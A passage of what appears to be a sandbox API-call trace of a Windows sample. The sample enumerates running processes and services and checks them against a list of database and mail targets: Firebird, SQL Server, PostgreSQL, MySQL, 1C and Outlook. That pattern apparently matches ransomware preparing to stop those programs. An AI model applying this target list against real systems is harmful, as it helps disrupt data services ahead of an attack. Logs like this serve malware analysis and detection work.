lpString2="MpsSvc") returned 1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.629] lstrlenW (lpString="Netman") returned 6 [0270.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0270.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0270.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0270.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0270.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0270.630] lstrlenW (lpString="netprofm") returned 8 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0270.630] lstrlenW (lpString="NlaSvc") returned 6 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.630] lstrlenW (lpString="nsi") returned 3 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.630] lstrlenW (lpString="PcaSvc") returned 6 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.630] lstrlenW (lpString="PlugPlay") returned 8 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.630] lstrlenW (lpString="Power") returned 5 [0270.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.631] lstrlenW (lpString="ProfSvc") returned 7 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.631] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.631] lstrlenW (lpString="RpcSs") returned 5 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.631] lstrlenW (lpString="SamSs") returned 5 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.631] lstrlenW (lpString="Schedule") returned 8 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.631] lstrlenW (lpString="SENS") returned 4 [0270.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.632] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.632] lstrlenW (lpString="Spooler") returned 7 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.632] lstrlenW (lpString="SysMain") returned 7 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0270.632] lstrlenW (lpString="Themes") returned 6 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0270.632] lstrlenW (lpString="TrkWks") returned 6 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0270.632] lstrlenW (lpString="UxSms") returned 5 [0270.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0270.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0270.632] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0270.632] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0270.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0270.633] lstrlenW (lpString="WdiServiceHost") returned 14 [0270.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0270.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0270.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0270.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0270.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0270.633] lstrlenW (lpString="WdiSystemHost") returned 13 [0270.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0270.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0270.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0270.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0270.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0270.633] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0270.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0270.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0270.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0270.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0270.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0270.633] lstrlenW (lpString="Winmgmt") returned 7 [0270.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0270.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0270.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0270.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0270.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0270.633] lstrlenW (lpString="WPDBusEnum") returned 10 [0270.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0270.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0270.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0270.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0270.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0270.633] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46151a8 | out: hHeap=0x540000) returned 1 [0270.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0270.634] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.635] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.635] lstrlenW (lpString="System") returned 6 [0270.635] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0270.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0270.635] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.635] lstrlenW (lpString="smss.exe") returned 8 [0270.635] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0270.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0270.635] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.636] lstrlenW (lpString="csrss.exe") returned 9 [0270.636] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.636] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.636] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0270.636] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.636] lstrlenW (lpString="wininit.exe") returned 11 [0270.636] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0270.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0270.636] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.636] lstrlenW (lpString="csrss.exe") returned 9 [0270.637] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.637] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.637] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.637] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.637] lstrlenW (lpString="winlogon.exe") returned 12 [0270.637] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.637] lstrlenW (lpString="services.exe") returned 12 [0270.638] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.638] lstrlenW (lpString="lsass.exe") returned 9 [0270.638] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0270.638] lstrlenW (lpString="lsm.exe") returned 7 [0270.638] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.638] lstrlenW (lpString="svchost.exe") returned 11 [0270.638] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.638] lstrlenW (lpString="svchost.exe") returned 11 [0270.638] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.639] lstrlenW (lpString="svchost.exe") returned 11 [0270.639] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.639] lstrlenW (lpString="svchost.exe") returned 11 [0270.639] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.639] lstrlenW (lpString="svchost.exe") returned 11 [0270.639] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.639] lstrlenW (lpString="audiodg.exe") returned 11 [0270.639] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.640] lstrlenW (lpString="svchost.exe") returned 11 [0270.640] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.640] lstrlenW (lpString="svchost.exe") returned 11 [0270.640] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0270.640] lstrlenW (lpString="userinit.exe") returned 12 [0270.640] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.640] lstrlenW (lpString="dwm.exe") returned 7 [0270.640] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.641] lstrlenW (lpString="explorer.exe") returned 12 [0270.641] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.641] lstrlenW (lpString="spoolsv.exe") returned 11 [0270.641] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0270.641] lstrlenW (lpString="taskhost.exe") returned 12 [0270.641] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.641] lstrlenW (lpString="svchost.exe") returned 11 [0270.641] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0270.642] lstrlenW (lpString="chrome64b.exe") returned 13 [0270.642] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0270.642] lstrlenW (lpString="reader_sl.exe") returned 13 [0270.642] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0270.642] lstrlenW (lpString="taskhost.exe") returned 12 [0270.642] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0270.642] lstrlenW (lpString="consent.exe") returned 11 [0270.642] Process32NextW (in: hSnapshot=0x3d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0270.643] CloseHandle (hObject=0x3d0) returned 1 [0270.643] Sleep (dwMilliseconds=0x1f4) [0271.299] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623658 [0271.300] EnumServicesStatusExW (in: hSCManager=0x4623658, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0271.300] GetLastError () returned 0xea [0271.300] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x4c90058 [0271.300] EnumServicesStatusExW (in: hSCManager=0x4623658, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4c90058, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4c90058, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0271.300] CloseServiceHandle (hSCObject=0x4623658) returned 1 [0271.300] lstrlenW (lpString="Appinfo") returned 7 [0271.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.301] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.301] 